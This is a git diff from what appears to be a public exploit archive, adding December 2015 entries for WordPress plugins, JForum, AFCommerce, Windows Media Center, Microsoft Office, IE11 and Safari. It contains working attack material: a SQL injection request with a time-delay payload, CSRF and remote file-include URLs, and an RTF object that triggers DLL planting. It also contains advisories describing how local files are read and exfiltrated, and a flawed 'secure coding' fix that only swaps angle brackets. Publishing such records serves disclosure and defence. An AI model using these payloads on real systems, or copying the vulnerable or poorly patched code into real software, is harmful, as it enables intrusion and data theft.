parameters that are exploitable in each action respectively: 13. `order` 14. `video_id` -In case #7 a user can also change the gallery name, description and -visibility by setting POST parameters `gal_name`, `gal_desc` and -`gal_visibility` respectively. +In case #7 a user can also change the gallery name, description and visibil= +ity by setting POST parameters `gal_name`, `gal_desc` and `gal_visibility` = +respectively. -In case #8 `photo_id` is first casted to integer and a query to DB is -performed. If results are returned then for each result a new query is -performed without casting the `photo_id` to integer. So if an attacker -knows a valid video id then it can perform the attack in the second -query. This achievable because ` +In case #8 `photo_id` is first casted to integer and a query to DB is perfo= +rmed. If results are returned then for each result a new query is performed= + without casting the `photo_id` to integer. So if an attacker knows a valid= + video id then it can perform the attack in the second query. This achievab= +le because ` -In case #9 a user can also change the photo name, description, tags -and category by setting POST parameters `photo_name`, `photo_desc`, -`photo_tags` and `photo_category` respectively. +In case #9 a user can also change the photo name, description, tags and cat= +egory by setting POST parameters `photo_name`, `photo_desc`, `photo_tags` a= +nd `photo_category` respectively. -In case #10 a user can also change the video name, unique id and type -by setting POST parameters `video_name`, `video_unique_id` and -`video_type` respectively. +In case #10 a user can also change the video name, unique id and type by se= +tting POST parameters `video_name`, `video_unique_id` and `video_type` resp= +ectively. -Because function wpdb::get_results() and wpdb::query() are in use -here, only one SQL statement can be made per request. This holds -severity of the attack low. -In addition all actions are privileged so the user must have an active -account in vulnerable website, in order to perform the attack. +Because function wpdb::get_results() and wpdb::query() are in use here, onl= +y one SQL statement can be made per request. This holds severity of the att= +ack low. +In addition all actions are privileged so the user must have an active acco= +unt in vulnerable website, in order to perform the attack. PoC ======================================================================== -Send a post request to -`http://my.vulnerable.website.com/wp-admin/admin-ajax.php` with data: -`action=edit_video&video_id=1 and sleep(5) ` +Send a post request to `http://my.vulnerable.website.com/wp-admin/admin-aja= +x.php` with data: `action=edit_video&video_id=1 and sleep(5) ` Timeline ======================================================================== @@ -86,8 +85,9 @@ Timeline 2015/11/11 - Vendor notified via contact form in his website 2015/11/13 - Vendor notified via support forums at wordpress.org 2015/11/14 - Vendor responded and received report through email +2015/12/08 - Vendor provided new version 1.5.63 which resolves issues Solution ======================================================================== -No official solution yet exists. \ No newline at end of file +Upgrade to version 1.5.63 diff --git a/platforms/php/webapps/38915.txt b/platforms/php/webapps/38915.txt new file mode 100755 index 000000000..27dbc7241 --- /dev/null +++ b/platforms/php/webapps/38915.txt @@ -0,0 +1,68 @@ +Exploit Title: WP Easy Poll 1.1.3 XSS and CSRF +Exploit Author : Ahn Sung Jun +Date : 2015-12-09 +Vendor Homepage : https://wordpress.org/plugins/wp-easy-poll-afo/ +Software Link : https://downloads.wordpress.org/plugin/wp-easy-poll-afo.1.1.3.zip +Version : 1.1.3 +Tested On : kail linux Iceweasel + +=========================================== +Vulnerable Code : wp_easy_poll.php +if(isset($_REQUEST['action']) and $_REQUEST['action'] == 'p_add'){ + global $wpdb; + $pc = new poll_class; + + /* Line 859 */ + $insert = array('p_ques' => $_REQUEST['p_ques'], 'p_author' => $_REQUEST['p_author'], 'p_start' => $_REQUEST['p_start'], 'p_end' => $_REQUEST['p_end'], 'p_added' => date("Y-m-d H:i:s"), 'p_status' => $_REQUEST['p_status']); + + $wpdb->insert( $wpdb->prefix.$pc->table, $insert ); + $new_poll_id = $wpdb->insert_id; + + $p_anss = $_REQUEST['p_anss']; + if(is_array($p_anss) and $new_poll_id){ + foreach($p_anss as $key => $value){ + if($value != ''){ + $insert1 = array('p_id' => $new_poll_id, 'a_ans' => $value, 'a_order' => $key+1); + $wpdb->insert( $wpdb->prefix.$pc->table2, $insert1 ); + } + } + } + +=========================================== +POC (XSS & CSRF) + + +
+ + + + + +
+ + +=========================================== +Secure Coding +if(isset($_REQUEST['action']) and $_REQUEST['action'] == 'p_add'){ + global $wpdb; + $pc = new poll_class; + + /* Secure Coding */ + $_REQUEST['p_ques'] = str_replace("script", "x-script", $_REQUEST['p_ques']); + $_REQUEST['p_ques'] = str_replace("<", ">", $_REQUEST['p_ques']); + $_REQUEST['p_ques']= str_replace(">" ,"<", $_REQUEST['p_ques']); + + $insert = array('p_ques' => $_REQUEST['p_ques'], 'p_author' => $_REQUEST['p_author'], 'p_start' => $_REQUEST['p_start'], 'p_end' => $_REQUEST['p_end'], 'p_added' => date("Y-m-d H:i:s"), 'p_status' => $_REQUEST['p_status']); + + $wpdb->insert( $wpdb->prefix.$pc->table, $insert ); + $new_poll_id = $wpdb->insert_id; + + $p_anss = $_REQUEST['p_anss']; + if(is_array($p_anss) and $new_poll_id){ + foreach($p_anss as $key => $value){ + if($value != ''){ + $insert1 = array('p_id' => $new_poll_id, 'a_ans' => $value, 'a_order' => $key+1); + $wpdb->insert( $wpdb->prefix.$pc->table2, $insert1 ); + } + } + } \ No newline at end of file diff --git a/platforms/php/webapps/38919.txt b/platforms/php/webapps/38919.txt new file mode 100755 index 000000000..d14a5eeac --- /dev/null +++ b/platforms/php/webapps/38919.txt @@ -0,0 +1,7 @@ +source: http://www.securityfocus.com/bid/64540/info + +JForum is prone to a cross-site request-forgery vulnerability because the application does not properly validate HTTP requests. + +Exploiting this issue may allow a remote attacker to perform certain unauthorized actions in the context of the affected application. Other attacks are also possible. + +http://www.example.com/forum/admBase/login.page?action=groupsSave&module=adminUsers&user_id=12696&groups=2 \ No newline at end of file diff --git a/platforms/php/webapps/38920.txt b/platforms/php/webapps/38920.txt new file mode 100755 index 000000000..3a8bc4a13 --- /dev/null +++ b/platforms/php/webapps/38920.txt @@ -0,0 +1,7 @@ +source: http://www.securityfocus.com/bid/64541/info + +AFCommerce is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied input. + +An attacker can exploit these vulnerabilities to obtain potentially sensitive information or to execute arbitrary script code in the context of the web server process. This may allow the attacker to compromise the application and the computer; other attacks are also possible. + +http://www.example.com/afcontrol/adblock.php?rootpathtocart=[RFI] \ No newline at end of file diff --git a/platforms/php/webapps/38921.txt b/platforms/php/webapps/38921.txt new file mode 100755 index 000000000..4f7f27ebd --- /dev/null +++ b/platforms/php/webapps/38921.txt @@ -0,0 +1,7 @@ +source: http://www.securityfocus.com/bid/64541/info + +AFCommerce is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied input. + +An attacker can exploit these vulnerabilities to obtain potentially sensitive information or to execute arbitrary script code in the context of the web server process. This may allow the attacker to compromise the application and the computer; other attacks are also possible. + +http://www.example.com/afcontrol/adminpassword.php?rootpathtocart=[RFI] \ No newline at end of file diff --git a/platforms/php/webapps/38922.txt b/platforms/php/webapps/38922.txt new file mode 100755 index 000000000..cbff3a0c8 --- /dev/null +++ b/platforms/php/webapps/38922.txt @@ -0,0 +1,7 @@ +source: http://www.securityfocus.com/bid/64541/info + +AFCommerce is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied input. + +An attacker can exploit these vulnerabilities to obtain potentially sensitive information or to execute arbitrary script code in the context of the web server process. This may allow the attacker to compromise the application and the computer; other attacks are also possible. + +http://www.example.com/afcontrol/controlheader.php?rootpathtocart=[RFI] \ No newline at end of file diff --git a/platforms/php/webapps/38924.txt b/platforms/php/webapps/38924.txt new file mode 100755 index 000000000..c41f90868 --- /dev/null +++ b/platforms/php/webapps/38924.txt @@ -0,0 +1,9 @@ +source: http://www.securityfocus.com/bid/64564/info + +WordPress is prone to a cross-site request-forgery vulnerability because it does not properly validate HTTP requests. + +Exploiting this issue may allow a remote attacker to perform certain unauthorized actions in the context of the affected application. Other attacks are also possible. + +WordPress 2.0.11 is vulnerable. + +http://www.example.com/wp-admin/options-discussion.php?action=retrospam&move=true&ids=1 \ No newline at end of file diff --git a/platforms/windows/dos/38916.html b/platforms/windows/dos/38916.html new file mode 100755 index 000000000..7c5f1ee8a --- /dev/null +++ b/platforms/windows/dos/38916.html @@ -0,0 +1,58 @@ + + + + + IE11 11.0.9600.18097 NULL PTR + + + +
..
+
...
+
+ + diff --git a/platforms/windows/remote/38911.txt b/platforms/windows/remote/38911.txt new file mode 100755 index 000000000..7f1b790ba --- /dev/null +++ b/platforms/windows/remote/38911.txt @@ -0,0 +1,72 @@ +Title: Microsoft Windows Media Center Library Parsing RCE Vuln aka "self-executing" MCL file (CVE-2015-6131) + +Software Vendor: Microsoft + +Software version : MS Windows Media Center latest version on any Windows OS. + +Software Vendor Homepage: http://www.microsoft.com + +CVE: CVE-2015-6131 + +Exploit Author: Eduardo Braun Prado + +Vulnerability oficial discoverer: Zhang YunHai of NSFOCUS Security Team + +date: december 8, 2015 + +Vulnerability description: + +Windows Media Center contains a remote code execution vulnerability because it allows "MCL" files to reference themselves as HTML pages, which will be parsed inside Windows Media Center window, in the context of the local machine security zone of Internet Explorer browser. This in turn allows execution of arbitrary code using eg. ADO ActiveX Objects. AKA "self-executing" MCL files. + + +exploit code below: + +----------- self-exec-1.mcl ------------------------------------ + + + +------------------------------------------------------------ + +----------self-exec-2.mcl-------------------------------------- + +Use a sniffer software to sniff SMB traffic and retrieve the remote Windows username required for this exploit +---------------------------------------------------------- + +-----Create-recordsetfile.hta -------------- + + + + + +------------------------------------------------------------------------------- + + +---------recordsetdata.txt------------------------------------------ + + + + + +------------------------------------------------------------------- diff --git a/platforms/windows/remote/38912.txt b/platforms/windows/remote/38912.txt new file mode 100755 index 000000000..a921b6e0d --- /dev/null +++ b/platforms/windows/remote/38912.txt @@ -0,0 +1,152 @@ +1. Advisory Information + +Title: Microsoft Windows Media Center link file incorrectly resolved reference +Advisory ID: CORE-2015-0014 +Advisory URL: http://www.coresecurity.com/advisories/microsoft-windows-media-center-link-file-incorrectly-resolved-reference +Date published: 2015-12-08 +Date of last update: 2015-12-04 +Vendors contacted: Microsoft +Release mode: Coordinated release + +2. Vulnerability Information + +Class: Use of Incorrectly-Resolved Name or Reference [CWE-706] +Impact: Information leak +Remotely Exploitable: No +Locally Exploitable: Yes +CVE Name: CVE-2015-6127 + + + +3. Vulnerability Description + +The 'application' tag in Microsoft [1] Windows Media Center link files (.mcl extension) can include a 'run' parameter, which indicates the path of a file to be launched when opening the MCL file, or a 'url' parameter, which indicates the URL of a web page to be loaded within the Media Center's embedded web browser. + +A specially crafted MCL file having said 'url' parameter pointing to the MCL file itself can trick Windows Media Center into rendering the very same MCL file as a local HTML file within the Media Center's embedded web browser. + +4. Vulnerable Packages + +Windows 7 for x64-based Systems Service Pack 1 (with Internet Explorer 11 installed) +Other versions are probably affected too, but they were not checked. + +5. Vendor Information, Solutions and Workarounds + +Microsoft posted the following Security Bulletin: MS15-134 [2] + +6. Credits + +This vulnerability was discovered and researched by Francisco Falcon from Core Exploits Team. The publication of this advisory was coordinated by Joaquín Rodríguez Varela from the Core Advisories Team. + + + +7. Technical Description / Proof of Concept Code + +The ehexthost.exe binary, part of Windows Media Center, loads the given URL into an embedded instance of Internet Explorer running in the local machine zone, but it doesn't opt-in for the FEATURE_LOCALMACHINE_LOCKDOWN IE security feature, therefore this situation can be leveraged by an attacker to read and exfiltrate arbitrary files from a victim's local filesystem by convincing him to open a malicious MCL file. + +The proof-of-concept shows an MCL file with embedded HTML + JS code, referencing itself in the 'url' parameter. Unlike what happens when loading a local HTML file into Internet Explorer 11, the JS code included here will automatically run with no prompts, and it will be able to read arbitrary local files using the MSXML2.XMLHTTP ActiveX object. Those read files then can be uploaded to an arbitrary remote web server. + +Also note that, in order for the PoC to work, the value of the 'url' parameter must match the name of the MCL file. + +7.1. Proof of Concept + +A new file should be created with the name "poc-microsoft.mcl" and with the following content: + + + + + + + + + + + + + + + + +8. Report Timeline + +2015-09-24: Core Security sent the first notification to Microsoft. +2015-09-24: Microsoft acknowledged receipt of the email and requested a draft version of the advisory. +2015-09-25: Core Security sent Microsoft the draft version of the advisory including a PoC. +2015-09-25: Microsoft cased the report under MSRC 31305. +2015-10-02: Core Security requested Microsoft provide a status update and confirmation of the reported bug. +2015-10-02: Microsoft informed Core Security that they were able to reproduce the issue. They were still reviewing it to determine if they would address it in a security release. +2015-10-07: Core Security requested Microsoft let us know once they made a decision. +2015-10-08: Microsoft informed Core Security they would keep us updated. +2015-10-26: Core Security asked Microsoft if there were any updates regarding the reported bug and if they had an estimated time of availability. +2015-10-27: Microsoft informed Core Security that they would be pursuing a fix for the reported issue and are working on a release date for it. +2015-11-05: Core Security asked Microsoft if they had determined a release date for the fix and a CVE ID to the reported vulnerability. +2015-11-10: Microsoft informed Core Security that they were targeting the security fix for this issue in their December release. They also informed us that they assigned CVE-2015-6127 to this case. +2015-11-11: Core Security thanked Microsoft for their reply and clarified that we would be publishing the advisory on Tuesday, the 8 of December, 2015. +2015-11-12: Microsoft requested from Core Security the link where the advisory would be published and the name of the researcher that should appear in the acknowledgment. +2015-11-13: Core Security informed Microsoft of the link and name that should appear in the acknowledgment. +2015-11-16: Microsoft informed Core Security that they updated the CVE acknowledgment accordingly. +2015-12-08: Advisory CORE-2015-0014 published. +9. References + +[1] http://www.microsoft.com/. +[2] https://technet.microsoft.com/library/security/MS15-134. + +10. About CoreLabs + +CoreLabs, the research center of Core Security, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com. + +11. About Core Security + +Core Security enables organizations to get ahead of threats with security test and measurement solutions that continuously identify and demonstrate real-world exposures to their most critical assets. Our customers can gain real visibility into their security standing, real validation of their security controls, and real metrics to more effectively secure their organizations. + +Core Security's software solutions build on over a decade of trusted research and leading-edge threat expertise from the company's Security Consulting Services, CoreLabs and Engineering groups. Core Security can be reached at +1 (617) 399-6980 or on the Web at: http://www.coresecurity.com. + +12. Disclaimer + +The contents of this advisory are copyright (c) 2015 Core Security and (c) 2015 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/ + +13. PGP/GPG Keys + +This advisory has been signed with the GPG key of Core Security advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc. + + + +_______________________________________________ +Sent through the Full Disclosure mailing list +https://nmap.org/mailman/listinfo/fulldisclosure +Web Archives & RSS: http://seclists.org/fulldisclosure/ + diff --git a/platforms/windows/remote/38918.txt b/platforms/windows/remote/38918.txt new file mode 100755 index 000000000..2c0397910 --- /dev/null +++ b/platforms/windows/remote/38918.txt @@ -0,0 +1,48 @@ +Source: https://code.google.com/p/google-security-research/issues/detail?id=514 + +It is possible for an attacker to execute a DLL planting attack in Microsoft Office with a specially crafted OLE object. Testing was performed on a Windows 7 x64 virtual machine with Office 2013 installed and the latest updates applied. The attached POC document "planted.doc" contains what was originally an embedded Packager object. The CLSID for this object was changed at offset 0x2650 to be {394c052e-b830-11d0-9a86-00c04fd8dbf7} (formatted as pack(">IHHBBBBBBBB")) which is one of several registered objects that have an InProcServer32 of els.dll. Other options include: {975797fc-4e2a-11d0-b702-00c04fd8dbf7} and {f778c6b4-c08b-11d2-976c-00c04f79db19}. When a user opens this document and single clicks on the icon for foo.txt ole32!OleLoad is invoked on our vulnerable CLSID. This results in a call to els!DllGetClassObject() which does a LoadLibraryW() call for elsext.dll (and riched32.dll but that's already loaded in winword.exe). If the attached elsext.dll is placed in the same directory with the planted.doc file you should see a popup coming from this DLL being loaded from the current working directory of Word. + +Here is the call stack leading up to the vulnerable LoadLibraryW() call. Also, it appears there are private symbols for ole32.dll on the public symbol server again. + +0:000> kb +ChildEBP RetAddr Args to Child +005982a4 60e94cca 60e92464 9582fa74 00000000 kernel32!LoadLibraryW +00598538 60e94d71 00000000 0059857c 60ea3209 els!WinbaseIsolationAwarePrivatetRgzlnPgpgk+0x1a8 +00598544 60ea3209 00598560 9582fa30 00000000 els!IsolationAwarePrivatenPgViNgRzlnPgpgk+0x30 +0059857c 60ea36b6 9582f680 60ea6d20 007cbfe8 els!IsolationAwareInitCommonControls+0x28 +005989cc 60e933d1 60e94377 0360ac4c 60ea6ce1 els!InitGlobals+0x2c3 +005989d0 60e94377 0360ac4c 60ea6ce1 005990a4 els!CDll::AddRef+0xe +005989d8 60ea6ce1 005990a4 036087e0 00000000 els!CComponentDataCF::CComponentDataCF+0x10 +005989ec 75bbaec6 0360ac3c 75bbee84 00598a94 els!DllGetClassObject+0x77 +00598a08 75b991cd 0360ac3c 75bbee84 00598a94 ole32!CClassCache::CDllPathEntry::DllGetClassObject+0x30 [d:\w7rtm\com\ole32\com\objact\dllcache.cxx @ 3324] +00598a20 75b98e92 00598a34 75bbee84 00598a94 ole32!CClassCache::CDllFnPtrMoniker::BindToObjectNoSwitch+0x1f [d:\w7rtm\com\ole32\com\objact\dllcache.cxx @ 3831] +00598a58 75b98c37 00598a9c 00000000 005990a4 ole32!CClassCache::GetClassObject+0x49 [d:\w7rtm\com\ole32\com\objact\dllcache.cxx @ 4582] +00598ad4 75bb3170 75cb6444 00000000 005990a4 ole32!CServerContextActivator::CreateInstance+0x110 [d:\w7rtm\com\ole32\com\objact\actvator.cxx @ 974] +00598b14 75b98daa 005990a4 00000000 00599614 ole32!ActivationPropertiesIn::DelegateCreateInstance+0x108 [d:\w7rtm\com\ole32\actprops\actprops.cxx @ 1917] +00598b68 75b98d1f 75cb646c 00000000 005990a4 ole32!CApartmentActivator::CreateInstance+0x112 [d:\w7rtm\com\ole32\com\objact\actvator.cxx @ 2268] +00598b88 75b98aa2 75cb6494 00000001 00000000 ole32!CProcessActivator::CCICallback+0x6d [d:\w7rtm\com\ole32\com\objact\actvator.cxx @ 1737] +00598ba8 75b98a53 75cb6494 00598f00 00000000 ole32!CProcessActivator::AttemptActivation+0x2c [d:\w7rtm\com\ole32\com\objact\actvator.cxx @ 1630] +00598be4 75b98e0d 75cb6494 00598f00 00000000 ole32!CProcessActivator::ActivateByContext+0x4f [d:\w7rtm\com\ole32\com\objact\actvator.cxx @ 1487] +00598c0c 75bb3170 75cb6494 00000000 005990a4 ole32!CProcessActivator::CreateInstance+0x49 [d:\w7rtm\com\ole32\com\objact\actvator.cxx @ 1377] +00598c4c 75bb2ef4 005990a4 00000000 00599614 ole32!ActivationPropertiesIn::DelegateCreateInstance+0x108 [d:\w7rtm\com\ole32\actprops\actprops.cxx @ 1917] +00598eac 75bb3170 75cb6448 00000000 005990a4 ole32!CClientContextActivator::CreateInstance+0xb0 [d:\w7rtm\com\ole32\com\objact\actvator.cxx @ 685] +00598eec 75bb3098 005990a4 00000000 00599614 ole32!ActivationPropertiesIn::DelegateCreateInstance+0x108 [d:\w7rtm\com\ole32\actprops\actprops.cxx @ 1917] +005996c8 75bb9e25 005997e4 00000000 00000403 ole32!ICoCreateInstanceEx+0x404 [d:\w7rtm\com\ole32\com\objact\objact.cxx @ 1334] +00599728 75bb9d86 005997e4 00000000 00000403 ole32!CComActivator::DoCreateInstance+0xd9 [d:\w7rtm\com\ole32\com\objact\immact.hxx @ 343] +0059974c 75bb9d3f 005997e4 00000000 00000403 ole32!CoCreateInstanceEx+0x38 [d:\w7rtm\com\ole32\com\objact\actapi.cxx @ 157] +0059977c 75bd154c 005997e4 00000000 00000403 ole32!CoCreateInstance+0x37 [d:\w7rtm\com\ole32\com\objact\actapi.cxx @ 110] +005997f8 75bcf2af 394c052e 11d0b830 c000869a ole32!wCreateObject+0x106 [d:\w7rtm\com\ole32\ole232\base\create.cpp @ 3046] +0059985c 75bcf1d4 16260820 00000000 5f7a6600 ole32!OleLoadWithoutBinding+0x9c [d:\w7rtm\com\ole32\ole232\base\create.cpp @ 1576] +00599884 703bca10 16260820 5f7a6600 097b2f00 ole32!OleLoad+0x37 [d:\w7rtm\com\ole32\ole232\base\create.cpp @ 1495] +WARNING: Stack unwind information not available. Following frames may be wrong. +005998f8 5fb7efb2 16260820 5f7a6600 097b2f00 mso!Ordinal4743+0x7c +00599948 5fb7eeb9 09775da8 16260820 5f7a6600 wwlib!DllGetLCID+0x3bc330 + +It is also possible to trigger this DLL load without a user click with the following RTF document: + +{\rtf1{\object\objemb{\*\objclass None}{\*\oleclsid \'7b394c052e-b830-11d0-9a86-00c04fd8dbf7\'7d}{\*\objdata 010500000100000001000000000000000000000000000000000000000000000000000000000000000000000000}}} + + +Proof of Concept: +https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/38918.zip + diff --git a/platforms/windows/remote/38923.txt b/platforms/windows/remote/38923.txt new file mode 100755 index 000000000..4bfba8f43 --- /dev/null +++ b/platforms/windows/remote/38923.txt @@ -0,0 +1,7 @@ +source: http://www.securityfocus.com/bid/64543/info + +Apple Safari for Windows is affected by a security-bypass weakness. + +Successfully exploiting this issue may allow an attacker to bypass certain security warnings. This may aid in conducting phishing attacks. + +http://example.com:/@/xsser.me/ \ No newline at end of file